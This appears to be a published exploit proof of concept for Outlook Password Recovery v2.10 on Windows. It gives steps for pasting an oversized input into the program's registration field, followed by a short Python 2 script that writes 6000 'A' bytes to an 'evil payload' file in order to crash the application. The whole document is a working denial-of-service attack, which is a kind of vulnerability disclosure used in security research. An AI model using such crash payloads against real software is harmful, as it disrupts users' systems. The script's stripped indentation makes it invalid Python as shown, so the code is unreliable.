# Exploit Author: Velayutham Selvaraj & Praveen Thiyagarayam (TwinTech Solutions)
# Tested Version: v2.10
# Tested on: Windows 7 x64
# Windows XP SP3


# 1.- Run python code :Outlook Password Recovery.py
# 2.- Open EVIL.txt and copy content to clipboard
# 3.- Open OUTLOOK Password Recovery and Click 'EnterKey'
# 4.- Paste the content of EVIL.txt into the Field: 'User Name and
Registration Code'
# 5.- Click 'OK' and you will see a crash.

#!/usr/bin/env python
buffer = "\x41" * 6000

try:
f=open("Evil.txt","w")
print "[+] Creating %s bytes evil payload.." %len(buffer)
f.write(buffer)
f.close()
print "[+] File created!"
except:
print "File cannot be created"